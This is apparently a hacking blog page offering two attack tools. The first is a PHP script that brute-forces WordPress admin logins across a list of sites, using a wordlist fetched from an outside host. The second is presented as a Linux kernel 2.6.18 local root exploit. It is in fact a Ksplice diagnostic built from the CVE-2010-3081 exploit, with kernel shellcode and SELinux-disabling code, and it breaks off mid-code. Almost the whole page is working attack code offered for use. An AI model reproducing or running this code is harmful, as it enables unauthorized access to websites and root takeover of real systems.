Wordpress Wp-admin Bruteforce

<div dir="ltr" style="text-align: left;" trbidi="on"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrAxW_vCxNhpDlFctGILWxnTfiNill89RGQwDyOuxsbdAsP_JQDPIdEgZfyDSaaT96GILYDbIhPRSWKrP20lOmsSDaodRXQPPYskMgaOsunCRAOoo-ec3Z6j5EgpWXof6HXj_3zLoiIHI/s1600/wordpress-admin-brute-force-attack.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="290" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrAxW_vCxNhpDlFctGILWxnTfiNill89RGQwDyOuxsbdAsP_JQDPIdEgZfyDSaaT96GILYDbIhPRSWKrP20lOmsSDaodRXQPPYskMgaOsunCRAOoo-ec3Z6j5EgpWXof6HXj_3zLoiIHI/s1600/wordpress-admin-brute-force-attack.png" width="320" /></a></div> <br /> <h3> Wordpress Wp-admin Bruteforce</h3> <div class="program glow"> <pre><code class="prettyprint"><?php class wp { public $site; public $password; public $wordlist; public $siteler; public $regex = 'general.php'; public function wordlist() { $liste = file_get_contents("http://afrikanhosting.com/images/wp.txt"); $this->wordlist = explode("\n",$liste); return $this->wordlist; } public function curl($site,$password) { $curl = curl_init(); curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); curl_setopt($curl,CURLOPT_URL,$site."/wp-login.php"); curl_setopt($curl,CURLOPT_COOKIEJAR,"megaturks.dat"); curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1); curl_setopt($curl,CURLOPT_POST,1); curl_setopt($curl,CURLOPT_POSTFIELDS,"log=admin&pwd=".$password."&redirect_to=".$site."/wp-admin/&testcookie=1"); $calis = curl_exec($curl); return $calis; } public function siteler($liste) { $site = file_get_contents($liste); $this->siteler = explode("\n",$site); return $this->siteler; } public function burtay($liste) { $this->siteler($liste); foreach($this->siteler as $sites) { $site = trim($sites); echo "Denenen Site : " . $site . "\n"; foreach($this->wordlist() as $sifre) { $password = trim($sifre); echo "Denenen Sifre " . $password . "\n"; if ( eregi ($this->regex,$this->curl($site,$password)) ) { echo "-------------------------------------\n"; echo $site . " icin sifre kirildi sifre : " . $password . "\n" ; echo "xxx\n"; echo "xxx\n"; echo "-------------------------------------\n"; break; } } } } } echo " ------------------ xxxxx || xxx || ------------------ \n\n "; $class = new wp(); $class->burtay($argv[1]); ?></code></pre> </div> <br /> <br /> Regards,<br /> Hardeep Singh<br /> (www.fb.com/h4rdeep)</div>

Bruteforce Cipher Web Development Wordpress Wordpress Wp-admin Bruteforce

Wordpress Wp-admin Bruteforce <?php class wp { public $site; public $password; public $wordlist; public $siteler; public $reg...

Read more »

kernel-2.6.18-164 2010 Local Root Exploit

<div dir="ltr" style="text-align: left;" trbidi="on"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-cxTw08A62FZv2RWGyIHtCBlHBM5_YNnOZXlvi9uPhJEFxFkXC2RxZXRiLc8oKvJA6a9RQNf77HpfPc15L38K5JVti1temm93mXAb-F4bs1Vk9ueVKbgKXrgSAaGJYGsXjVIVRpE1Zd4/s1600/kernel-root.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="117" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-cxTw08A62FZv2RWGyIHtCBlHBM5_YNnOZXlvi9uPhJEFxFkXC2RxZXRiLc8oKvJA6a9RQNf77HpfPc15L38K5JVti1temm93mXAb-F4bs1Vk9ueVKbgKXrgSAaGJYGsXjVIVRpE1Zd4/s1600/kernel-root.jpg" width="320" /></a></div> <br /> Kernel-2.6.18-164 2010 Local Root Exploit<br /> Save this code as a c program file.<br /> Code:<br /> <div class="program glow"> <pre><code class="prettyprint"> /* kernel-2.6.18-164 2010 Local Root Exploit ========================================= # Author: Hackeri-AL # Email : h-al [at] hotmail [dot] it # Group : UAH / United ALBANIA Hackers # Web   : uah1.org.uk # Greetz: LoocK3D - b4cKd00r ~ -------------------------------------------- Diagnostic test for CVE-2010-3081 public exploit Greg Price, Ksplice, Inc. Tests whether the system has previously been exposed to the exploit published as &quot;hackerial.c&quot; by Hackeri-AL on 2010 Sep 15.  Based on the original exploit code. For more information, see   <a href="http://www.ksplice.com/uptrack/cve-2010-3081">http://www.ksplice.com/uptrack/cve-2010-3081</a>     Source: <a href="http://inj3ct0r.com/exploits/14333">http://inj3ct0r.com/exploits/14333</a> */ #include &lt;poll.h&gt; #include &lt;string.h&gt; #include &lt;unistd.h&gt; #include &lt;sys/types.h&gt; #include &lt;stdlib.h&gt; #include &lt;sys/wait.h&gt; #include &lt;sys/utsname.h&gt; #include &lt;sys/socket.h&gt; #include &lt;sched.h&gt; #include &lt;netinet/in.h&gt; #include &lt;stdio.h&gt; #include &lt;sys/stat.h&gt; #include &lt;fcntl.h&gt; #include &lt;sys/mman.h&gt; #include &lt;sys/ipc.h&gt; #include &lt;sys/msg.h&gt; #include &lt;sys/resource.h&gt; #include &lt;errno.h&gt; #define _GNU_SOURCE #define __dgdhdytrg55 unsigned int #define __yyrhdgdtfs66ytgetrfd unsigned long long #define __dhdyetgdfstreg__ memcpy #define BANNER &quot;Diagnostic tool for public CVE-2010-3081 exploit -- Ksplice, Inc. &quot;                &quot;(see <a href="http://www.ksplice.com/uptrack/cve-2010-3081">http://www.ksplice.com/uptrack/cve-2010-3081</a>) &quot;                &quot; &quot; #define KALLSYMS              &quot;/proc/kallsyms&quot; #define TMAGIC_66TDFDRTS      &quot;/proc/timer_list&quot; #define SELINUX_PATH          &quot;/selinux/enforce&quot; #define RW_FOPS               &quot;timer_list_fops&quot; #define PER_C_DHHDYDGTREM7765 &quot;per_cpu__current_task&quot; #define PREPARE_GGDTSGFSRFSD  &quot;prepare_creds&quot; #define OVERRIDE_GGDTSGFSRFSD &quot;override_creds&quot; #define REVERT_DHDGTRRTEFDTD  &quot;revert_creds&quot; #define Y0Y0SMAP              0x100000UL #define Y0Y0CMAP              0x200000UL #define Y0Y0STOP              (Y0Y0SMAP+0xFFC) #define J0J0S                 0x00200000UL #define J0J0R00T              0x002000F0UL #define PAGE_SIZE             0x1000 #define KERN_DHHDYTMLADSFPYT     0x1 #define KERN_DGGDYDTEGGETFDRLAK  0x2 #define KERN_HHSYPPLORQTWGFD     0x4 #define KERN_DIS_GGDYYTDFFACVFD_IDT      0x8 #define KERN_DIS_DGDGHHYTTFSR34353_FOPS     0x10 #define KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM      0x20 #define KERN_DIS_GGSTEYGDTREFRET_SEL1NUX  0x40 #define isRHHGDPPLADSF(ver) (strstr(ver, &quot;.el4&quot;) || strstr(ver,&quot;.el5&quot;)) #define __gggdfstsgdt_dddex(f, a...) do { fprintf(stdout, f, ## a); } while(0) #define __pppp_tegddewyfg(s) do { fprintf(stdout, &quot;%s&quot;, s); } while(0) /* #define __print_verbose(s) do { fprintf(stdout, &quot;%s&quot;, s); } while(0) */ #define __print_verbose(s) do { } while (0) #define __xxxfdgftr_hshsgdt(s) do { perror(s); exit(-1); } while(0) #define __yyy_tegdtfsrer(s) do { fprintf(stderr, s); exit(-1); } while(0) static char buffer[1024]; static int s; static int flags=0; volatile static socklen_t magiclen=0; static int useidt=1, usefops=0, uselsm=0; static __yyrhdgdtfs66ytgetrfd _m_fops=0,_m_cred[3] = {0,0,0}; static __dgdhdytrg55 _m_cpu_off=0; static char krelease[64]; static char kversion[128]; #define R0C_0FF 14 static char ttrg0ccc[]= &quot;x51x57x53x56x48x31xc9x48x89xf8x48x31xf6xbex41x41x41x41&quot;  &quot;x3bx30x75x1fx3bx70x04x75x1ax3bx70x08x75x15x3bx70x0c&quot;   &quot;x75x10x48x31xdbx89x18x89x58x04x89x58x08x89x58x0cxebx11&quot;     &quot;x48xffxc0x48xffxc1x48x81xf9x4cx04x00x00x74x02&quot;                   &quot;xebxccx5ex5bx5fx59xc3&quot;;               #define R0YTTTTUHLFSTT_OFF1 5 #define R0YGGSFDARTDF_DHDYTEGRDFD_D 21 #define R0TDGFSRSLLSJ_SHSYSTGD 45 char r1ngrrrrrrr[]= &quot;x53x52x57x48xbbx41x41x41x41x41x41x41x41xffxd3&quot;                                 &quot;x50x48x89xc7x48xbbx42x42x42x42x42x42x42x42&quot;  &quot;xffxd3x48x31xd2x89x50x04x89x50x14x48x89xc7&quot;                              &quot;x48xbbx43x43x43x43x43x43x43x43&quot;   &quot;xffxd3x5fx5fx5ax5bxc3&quot;;                                       #define RJMPDDTGR_OFF 13 #define RJMPDDTGR_DHDYTGSCAVSF 7 #define RJMPDDTGR_GDTDGTSFRDFT 25 static char ttrfd0[]= &quot;x57x50x65x48x8bx3cx25x00x00x00x00&quot; &quot;x48xb8x41x41x41x41x41x41x41x41xffxd0&quot;                      &quot;x58x5f&quot; &quot;x90x90x90x90x90x90x90x90x90x90&quot; &quot;x90x90x90x90x90x90x90x90x90x90&quot; &quot;x90x90x90x90x90x90x90x90x90x90&quot; &quot;x90x90x90x90x90x90x90x90x90x90&quot; &quot;x90x90x90x90x90x90x90x90x90x90&quot; &quot;xc3&quot;; /* implement selinux bypass for IDT ! */ #define RJMPDDTGR_OFF_IDT 14 #define RJMPDDTGR_DYHHTSFDARE 8 #define RJMPDDTGR_DHDYSGTSFDRTAC_SE 27 static char ruujhdbgatrfe345[]= &quot;x0fx01xf8x65x48x8bx3cx25x00x00x00x00&quot;      &quot;x48xb8x41x41x41x41x41x41x41x41xffxd0&quot;                                  &quot;x0fx01xf8&quot; &quot;x90x90x90x90x90x90x90x90x90x90&quot; &quot;x90x90x90x90x90x90x90x90x90x90&quot; &quot;x90x90x90x90x90x90x90x90x90x90&quot; &quot;x90x90x90x90x90x90x90x90x90x90&quot; &quot;x90x90x90x90x90x90x90x90x90x90&quot; &quot;x48xcf&quot;;  #define CJE_4554TFFDTRMAJHD_OFF  10 #define RJMPDDTGR_AYYYDGTREFCCV7761_OF      23 static char dis4blens4sel1nuxhayettgdr64545[]= &quot;x41x52x50&quot; &quot;xb8x00x00x00x00&quot; &quot;x49xbax41x41x41x41x41x41x41x41&quot; &quot;x41x89x02&quot; &quot;x49xbax42x42x42x42x42x42x42x42&quot; &quot;x41x89x02&quot; &quot;x58x41x5a&quot;;           /* rhel LSM stuffs */ #define RHEL_LSM_OFF 98 struct LSM_rhel {   __yyrhdgdtfs66ytgetrfd selinux_ops;   __yyrhdgdtfs66ytgetrfd capability_ops;   __yyrhdgdtfs66ytgetrfd dummy_security_ops;   __yyrhdgdtfs66ytgetrfd selinux_enforcing;   __yyrhdgdtfs66ytgetrfd audit_enabled;   const char *krelease;   const char *kversion; }; struct LSM_rhel known_targets[4]= {   {     0xffffffff8031e600ULL,     0xffffffff8031fec0ULL,     0xffffffff804acc00ULL,     0xffffffff804af960ULL,     0xffffffff8049b124ULL,     &quot;2.6.18-164.el5&quot;,     &quot;#1 SMP Thu Sep 3 03:28:30 EDT 2009&quot;  // to manage minor/bug fix changes   },   {    0xffffffff8031f600ULL,    0xffffffff80320ec0ULL,    0xffffffff804afc00ULL,    0xffffffff804b2960ULL,    0xffffffff8049e124ULL,    &quot;2.6.18-164.11.1.el5&quot;,    &quot;#1 SMP Wed Jan 6 13:26:04 EST 2010&quot;   },   {     0xffffffff805296a0ULL,     0xffffffff8052af60ULL,     0xffffffff806db1e0ULL,     0xffffffff806ddf40ULL,     0xffffffff806d5324ULL,     &quot;2.6.18-164.11.1.el5xen&quot;,     &quot;#1 SMP Wed Jan 20 08:06:04 EST 2010&quot;   // default xen   },   {     0xffffffff8031f600ULL,// d selinux_ops     0xffffffff80320ec0ULL,// d capability_ops     0xffffffff804afc00ULL,// B dummy_security_ops     0xffffffff804b2960ULL,// B selinux_enforcing     0xffffffff8049e124ULL,// B audit_enabled     &quot;2.6.18-164.11.1.el5&quot;,     &quot;#1 SMP Wed Jan 20 07:32:21 EST 2010&quot; // tripwire target LoL    } }; static struct LSM_rhel *curr_target=NULL, dyn4nt4n1labeggeyrthryt; static int isSelinuxEnabled() {   FILE *selinux_f;   selinux_f = fopen(SELINUX_PATH, &quot;r&quot;);   if(selinux_f == NULL)   {     if(errno == EPERM)       return 1;     else      return 0;   }   fclose(selinux_f);   return 1; } static int wtfyourunhere_heee(char *out_release, char* out_version) {  int ret; const char*ptr;  int count=0;  char r[32], *bptr;  struct utsname buf;  ret =  uname(&amp;buf);  if(ret &lt; 0)    return -1;  strcpy(out_release, buf.release);  strcpy(out_version, buf.version);  ptr = buf.release;  bptr = r;  memset(r, 0x00, sizeof(r));  while(*ptr)  {    if(count == 2)     {       if(*ptr &gt;= &#039;0&#039; &amp;&amp; *ptr &lt;= &#039;9&#039;)         *bptr++ = *ptr;       else         break;     }    if(*ptr == &#039;.&#039;)      count++;    ptr++;  }  if(strlen(r) &lt; 1 || !atoi(r))    return -1;  return atoi(r); } static void p4tch_sel1nux_codztegfaddczda(struct LSM_rhel *table) {   *((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + CJE_4554TFFDTRMAJHD_OFF)) = table-&gt;selinux_enforcing;   *((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + RJMPDDTGR_AYYYDGTREFCCV7761_OF)) = table-&gt;audit_enabled;   __dhdyetgdfstreg__(ttrfd0 + RJMPDDTGR_GDTDGTSFRDFT, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1);   __dhdyetgdfstreg__(ruujhdbgatrfe345 + RJMPDDTGR_DHDYSGTSFDRTAC_SE, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1); } static __yyrhdgdtfs66ytgetrfd get_sym_ex(const char* s, const char* filename, int ignore_flag) {   FILE *ka;   char line[512];   char reloc_a[64];   char reloc[64];   if(!(flags &amp; KERN_HHSYPPLORQTWGFD) &amp;&amp; !ignore_flag)     return 0;     ka = fopen(filename, &quot;r&quot;);   if(!ka)     return 0;   while(fgets(line, 512, ka) != NULL)   {     char *l_p  = line;     char *ra_p = reloc_a;     char *r_p    = reloc;     memset(reloc, 0x00, sizeof(reloc));     memset(reloc_a, 0x00, sizeof(reloc_a));     while(*l_p != &#039; &#039; &amp;&amp; (ra_p - reloc_a)  &lt; 64)       *ra_p++ = *l_p++;      l_p += 3;     while(*l_p != &#039; &#039; &amp;&amp; *l_p != &#039; &#039; &amp;&amp; *l_p != &#039; &#039; &amp;&amp; (r_p - reloc) &lt; 64)       *r_p++ = *l_p++;     if(!strcmp(reloc, s))     {       return strtoull(reloc_a, NULL, 16);     }   }   return 0; } static inline __yyrhdgdtfs66ytgetrfd get_sym(const char* s) {   return get_sym_ex(s, KALLSYMS, 0); } static int parse_cred(const char* val) {   int i=0;   const char* p = val;   char local[64], *l;   for(i=0; i&lt;3; i++)    {     memset(local, 0x00, sizeof(local));     l = local;     while(*p &amp;&amp; *p != &#039;,&#039;)       *l++ = *p++;     if(!(*p) &amp;&amp; i != 2)       return -1;     _m_cred[i] = strtoull(local, NULL, 16);     p++;   }   return 0; } #define SELINUX_OPS        &quot;selinux_ops&quot; #define DUMMY_SECURITY_OPS &quot;dummy_security_ops&quot; #define CAPABILITY_OPS     &quot;capability_ops&quot; #define SELINUX_ENFORCING  &quot;selinux_enforcing&quot; #define AUDIT_ENABLED      &quot;audit_enabled&quot; struct LSM_rhel *lsm_rhel_find_target(int check_rhel) {    int i;    char mapbuf[128];    struct LSM_rhel *lsm = &amp;(known_targets[0]);    if(check_rhel &amp;&amp; !isRHHGDPPLADSF(krelease))    {      __pppp_tegddewyfg(&quot;!!! Not a RHEL kernel, will skip LSM method &quot;);      return NULL;    }    __print_verbose(&quot;$$$ Looking for known RHEL kernels.. &quot;);    for(i=0; i&lt;sizeof(known_targets)/sizeof(struct LSM_rhel); i++, lsm++)    {      if(!strcmp(krelease, lsm-&gt;krelease) &amp;&amp; !strcmp(kversion, lsm-&gt;kversion))      {        __gggdfstsgdt_dddex(&quot;$$$ Known target kernel: %s %s &quot;, lsm-&gt;krelease, lsm-&gt;kversion);        return lsm;      }    }    __print_verbose(&quot;$$$ Locating symbols for new target... &quot;);    strcpy(mapbuf, &quot;/boot/System.map-&quot;);    strcat(mapbuf, krelease);    dyn4nt4n1labeggeyrthryt.selinux_ops        = get_sym_ex(SELINUX_OPS, mapbuf, 1);    dyn4nt4n1labeggeyrthryt.dummy_security_ops = get_sym_ex(DUMMY_SECURITY_OPS, mapbuf, 1);    dyn4nt4n1labeggeyrthryt.capability_ops     = get_sym_ex(CAPABILITY_OPS, mapbuf, 1);    dyn4nt4n1labeggeyrthryt.selinux_enforcing  = get_sym_ex(SELINUX_ENFORCING, mapbuf, 1);    dyn4nt4n1labeggeyrthryt.audit_enabled      = get_sym_ex(AUDIT_ENABLED, mapbuf, 1);    if(!dyn4nt4n1labeggeyrthryt.selinux_ops ||       !dyn4nt4n1labeggeyrthryt.dummy_security_ops ||       !dyn4nt4n1labeggeyrthryt.capability_ops ||       !dyn4nt4n1labeggeyrthryt.selinux_enforcing ||       !dyn4nt4n1labeggeyrthryt.audit_enabled)  return NULL;    return &amp;dyn4nt4n1labeggeyrthryt; } void error_no_symbol(const char *symbol) {   fprintf(stderr,           &quot;!!! Could not find symbol: %s &quot;           &quot; &quot;           &quot;A symbol required by the published exploit for CVE-2010-3081 is not &quot;           &quot;provided by your kernel.  The exploit would not work on your system. &quot;,           symbol);   exit(-1); } static void put_your_hands_up_hooker(int argc, char *argv[]) {   int fd,ver,ret;   char __b[16];   fd = open(KALLSYMS, O_RDONLY);   ret = read(fd, __b, 16); // dummy read   if((fd &gt;= 0 &amp;&amp; ret &gt; 0))   {     __print_verbose(&quot;$$$ can read /proc/kallsyms, will use for convenience &quot;); // d0nt p4tch m3 br0     flags |= KERN_HHSYPPLORQTWGFD;   }   close(fd);   ver = wtfyourunhere_heee(krelease, kversion);   if(ver &lt; 0)     __yyy_tegdtfsrer(&quot;!!! uname failed &quot;);   __gggdfstsgdt_dddex(&quot;$$$ Kernel release: %s &quot;, krelease);   if(argc != 1)   {     while( (ret = getopt(argc, argv, &quot;sflc:k:o:&quot;)) &gt; 0)     {       switch(ret)       {         case &#039;f&#039;:           flags |= KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM|KERN_DIS_GGDYYTDFFACVFD_IDT;           break;  case &#039;l&#039;:    flags |= KERN_DIS_GGDYYTDFFACVFD_IDT|KERN_DIS_DGDGHHYTTFSR34353_FOPS;    break;         case &#039;c&#039;:           if(!optarg || parse_cred(optarg) &lt; 0)               __yyy_tegdtfsrer(&quot;!!! Unable to parse cred codes &quot;);           break;         case &#039;k&#039;:           if(optarg)             _m_fops = strtoull(optarg, NULL, 16);           else       __yyy_tegdtfsrer(&quot;!!! Unable to parse fops numbers &quot;);           break;         case &#039;s&#039;:           if(!isSelinuxEnabled())             __pppp_tegddewyfg(&quot;??? -s ignored: SELinux not enabled &quot;);           else             flags |= KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;           break;                     case &#039;o&#039;:           if(optarg)             _m_cpu_off = strtoull(optarg, NULL, 16);    else      __yyy_tegdtfsrer(&quot;!!! Unable to parse cpu_off numbers &quot;);           break;       }     }   }   if(ver &gt;= 29) // needs cred structure   {     flags |= KERN_DGGDYDTEGGETFDRLAK;       if(!_m_cred[0] || !_m_cred[1] || !_m_cred[2])     {       _m_cred[0] = get_sym(PREPARE_GGDTSGFSRFSD);       _m_cred[1] = get_sym(OVERRIDE_GGDTSGFSRFSD);       _m_cred[2] = get_sym(REVERT_DHDGTRRTEFDTD);     }     if(!_m_cred[0])       error_no_symbol(&quot;prepare_creds&quot;);     if(!_m_cred[1])       error_no_symbol(&quot;override_creds&quot;);     if(!_m_cred[2])       error_no_symbol(&quot;revert_creds&quot;);         __print_verbose(&quot;$$$ Kernel credentials detected &quot;);     *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YTTTTUHLFSTT_OFF1)) = _m_cred[0];     *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YGGSFDARTDF_DHDYTEGRDFD_D)) = _m_cred[1];     *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0TDGFSRSLLSJ_SHSYSTGD)) = _m_cred[2];   }   if(ver &gt;= 30)  // needs cpu offset   {     flags |= KERN_DHHDYTMLADSFPYT;     if(!_m_cpu_off)     _m_cpu_off = (__dgdhdytrg55)get_sym(PER_C_DHHDYDGTREM7765);     if(!_m_cpu_off)       error_no_symbol(&quot;per_cpu__current_task&quot;);     __print_verbose(&quot;$$$ Kernel per_cpu relocs enabled &quot;);     *((__dgdhdytrg55 *)(ttrfd0 + RJMPDDTGR_DHDYTGSCAVSF)) = _m_cpu_off;     *((__dgdhdytrg55 *)(ruujhdbgatrfe345 + RJMPDDTGR_DYHHTSFDARE)) = _m_cpu_off;   } } static void env_prepare(int argc, char* argv[]) {   put_your_hands_up_hooker(argc, argv);   if(!(flags &amp; KERN_DIS_DGDGHHYTTFSR34353_FOPS))  // try fops   {     __print_verbose(&quot;??? Trying the timer_list_fops method &quot;);     if(!_m_fops)       _m_fops = get_sym(RW_FOPS);     /* TODO: do RW check for newer -mm kernels which has timer_list_struct RO      * Thanks to the guy who killed this vector... you know who you are:)      * Lucky for you, there are more:)      */     if(_m_fops)     {       usefops=1;     }   }   if(!(flags &amp; KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM)) // try lsm(rhel)   {     __print_verbose(&quot;??? Trying the LSM method &quot;);     curr_target = lsm_rhel_find_target(1);     if(!curr_target)     {        __print_verbose(&quot;!!! Unable to find target for LSM method &quot;);     }     else {       uselsm=1;     }   }   if(useidt &amp;&amp; (flags &amp; KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))   {     // -i flag     curr_target = lsm_rhel_find_target(0);     if(!curr_target)     {        __pppp_tegddewyfg(&quot;!!! Unable to find target: continue without SELinux disabled &quot;);        /* remove Selinux Flag */        flags &amp;= ~KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;     }   }   if(!usefops &amp;&amp; !useidt &amp;&amp; !uselsm)     __yyy_tegdtfsrer(&quot;!!! All exploit methods failed. &quot;);  } static inline int get_socklen(__yyrhdgdtfs66ytgetrfd addr, __dgdhdytrg55 stack) {   int socklen_l = 8 + stack - addr - 16;   return socklen_l; } static void __setmcbuffer(__dgdhdytrg55 value) {   int i;   __dgdhdytrg55 *p = (__dgdhdytrg55*)buffer;   for(i=0; i&lt;sizeof(buffer)/sizeof(void*); i++)     *(p+i) = value; } static void y0y0stack() {   void* map = mmap((void*)Y0Y0SMAP,                    PAGE_SIZE,                    PROT_READ|PROT_WRITE,                    MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,                    -1,0);   if(MAP_FAILED == map)     __xxxfdgftr_hshsgdt(&quot;mmap&quot;); } static void y0y0code() {   void* map = mmap((void*)Y0Y0CMAP,                    PAGE_SIZE, #ifdef TRY_REMAP_DEFAULT      PROT_READ|PROT_WRITE, #else                    PROT_READ|PROT_WRITE|PROT_EXEC, #endif                    MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,                    -1,0);   if(MAP_FAILED == map)     __xxxfdgftr_hshsgdt(&quot;mmap&quot;); } static int rey0y0code(unsigned long old) {   int fd;   void *map;   volatile char wizard;   char cwd[1024];   getcwd(cwd, sizeof(cwd));    strcat(cwd, &quot;/__tmpfile&quot;);   unlink(cwd);   fd = open(cwd, O_RDWR|O_CREAT, S_IRWXU);   if(fd &lt; 0)     return -1;   write(fd, (const void*)old, PAGE_SIZE);   if(munmap((void*)old, PAGE_SIZE) &lt; 0)     return -1;   map = mmap((void*)old,                    PAGE_SIZE,                    PROT_READ|PROT_EXEC,                    MAP_PRIVATE|MAP_FIXED,                    fd,0);   if(map == MAP_FAILED)     return -1;   /* avoid lazy page fault handler    * Triple Fault when using idt vector    * and no pages are already mapped:)    */   wizard = *((char*)old);   unlink(cwd);   return wizard; } void finish_shellcode() {   /* set shellcode level 2 */   if(flags &amp; KERN_DGGDYDTEGGETFDRLAK)   {     __print_verbose(&quot;$$$ Using cred shellcode &quot;);     __dhdyetgdfstreg__((void*)J0J0R00T, r1ngrrrrrrr, sizeof(r1ngrrrrrrr));   }   else   {     __print_verbose(&quot;$$$ Using standard shellcode &quot;);     __dhdyetgdfstreg__((void*)J0J0R00T,  ttrg0ccc, sizeof(ttrg0ccc));     *((unsigned int*)(J0J0R00T + R0C_0FF)) = getuid();   } #ifdef TRY_REMAP_DEFAULT   if(rey0y0code(Y0Y0CMAP) &lt; 0)     __yyy_tegdtfsrer(&quot;!!! Unable to remap &quot;); #endif } int method_idt_main() {   __yyrhdgdtfs66ytgetrfd *patch;   __print_verbose(&quot;$$$ Building shellcode - IDT method &quot;);     patch = (__yyrhdgdtfs66ytgetrfd*)(ruujhdbgatrfe345 + RJMPDDTGR_OFF_IDT);   *patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T);   if(flags &amp; KERN_DIS_GGSTEYGDTREFRET_SEL1NUX)   {     __print_verbose(&quot;$$$ including code to disable SELinux &quot;);     p4tch_sel1nux_codztegfaddczda(curr_target);   }       __dhdyetgdfstreg__((void*)J0J0S,  ruujhdbgatrfe345, sizeof(ruujhdbgatrfe345));   finish_shellcode();   asm volatile(&quot;int $0xdd &quot;);   return (getuid() == 0); } int method_idt() {   /* method_idt_main() crashes if no backdoor is present, so protect ourselves */   int pid;   pid = fork();   if (pid &lt; 0) {     __xxxfdgftr_hshsgdt(&quot;!!! fork() failed&quot;);     return 0; // error   }   if (pid == 0) {     int r;     struct rlimit rlim = {0, 0};     setrlimit(RLIMIT_CORE, &amp;rlim);     r = method_idt_main();     exit(r ? 0 : 1);   }   int status;   waitpid(pid, &amp;status, 0);   if (status == 0)     return method_idt_main();   else     return 0; } void prepare_fops_lsm_shellcode() {   __yyrhdgdtfs66ytgetrfd *patch;   __print_verbose(&quot;$$$ Building shellcode - fops/LSM method &quot;);     patch = (__yyrhdgdtfs66ytgetrfd*)(ttrfd0 + RJMPDDTGR_OFF);   *patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T);   __setmcbuffer(J0J0S);   if(uselsm &amp;&amp; (flags &amp; KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))   {       __print_verbose(&quot;$$$ including code to disable SELinux &quot;);       p4tch_sel1nux_codztegfaddczda(curr_target);   }   __dhdyetgdfstreg__((void*)J0J0S, ttrfd0, sizeof(ttrfd0));   finish_shellcode(); } int method_fops() {   int fd;   struct pollfd pfd;   prepare_fops_lsm_shellcode();   fd = open(TMAGIC_66TDFDRTS, O_RDONLY);   if(fd &lt; 0)     __xxxfdgftr_hshsgdt(&quot;!!! could not open /proc/timer_list&quot;);     pfd.fd = fd;   pfd.events = POLLIN | POLLOUT;   poll(&amp;pfd, 1, 0);   return (getuid() == 0); } int method_lsm() {   int msqid;   prepare_fops_lsm_shellcode();   msqid = msgget(0, IPC_PRIVATE|0600);   if(msqid &lt; 0)     __xxxfdgftr_hshsgdt(&quot;!!! msgget() failed&quot;);   msgctl(msqid, IPC_RMID, (struct msqid_ds *) NULL); // exploit it   return (getuid() == 0); } int main(int argc, char*argv[]) {   int done;   printf(BANNER);   if (getuid() == 0) {     fprintf(stderr, &quot;!!! Must run as non-root. &quot;);     return 1;   }   env_prepare(argc, argv);   y0y0stack();   y0y0code();   done = 0;   __pppp_tegddewyfg(&quot;$$$ Backdoor in LSM (1/3): &quot;);   if (uselsm) {     __pppp_tegddewyfg(&quot;checking...&quot;);     done = method_lsm();     if (done)       __pppp_tegddewyfg(&quot;PRESENT &quot;);     else       __pppp_tegddewyfg(&quot;not present. &quot;);   } else {     __pppp_tegddewyfg(&quot;not available. &quot;);   }   if (!done) {     __pppp_tegddewyfg(&quot;$$$ Backdoor in timer_list_fops (2/3): &quot;);     if (usefops) {       __pppp_tegddewyfg(&quot;checking...&quot;);       done = method_fops();       if (done)         __pppp_tegddewyfg(&quot;PRESENT &quot;);       else         __pppp_tegddewyfg(&quot;not present. &quot;);     } else {       __pppp_tegddewyfg(&quot;not available. &quot;);     }   }   if (!done) {     __pppp_tegddewyfg(&quot;$$$ Backdoor in IDT (3/3): &quot;);     if (useidt) {       __pppp_tegddewyfg(&quot;checking...&quot;);       fflush(stdout);       done = method_idt();       if (done)         __pppp_tegddewyfg(&quot;PRESENT &quot;);       else         __pppp_tegddewyfg(&quot;not present. &quot;);     } else {       __pppp_tegddewyfg(&quot;NOT CHECKING &quot;);     }   }   munmap((void*)Y0Y0CMAP, PAGE_SIZE);   /* exec */   if(getuid() == 0)   {     pid_t pid;     printf(&quot; &quot;            &quot;Your in-memory kernel HAS A BACKDOOR that may have been left &quot;            &quot;by the published exploit for CVE-2010-3081. &quot;            &quot; &quot;            &quot;More information is available at &quot;            &quot;  <a href="http://www.ksplice.com/uptrack/cve-2010-3081">http://www.ksplice.com/uptrack/cve-2010-3081</a> &quot;            );     if (0) {       /* spawn root shell as demonstration */       pid = fork();       if(pid == 0)       {         char *args[] = {&quot;/bin/sh&quot;, &quot;-i&quot;, NULL};         char *envp[] = {&quot;TERM=linux&quot;, &quot;BASH_HISTORY=/dev/null&quot;, &quot;HISTORY=/dev/null&quot;, &quot;history=/dev/null&quot;, &quot;HISTFILE=/dev/null&quot;, &quot;HISTFILESIZE=0&quot;,                         &quot;PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin&quot;, NULL };         execve(&quot;/bin/sh&quot;, args, envp);       }       else        {         int status;         waitpid(pid, &amp;status, 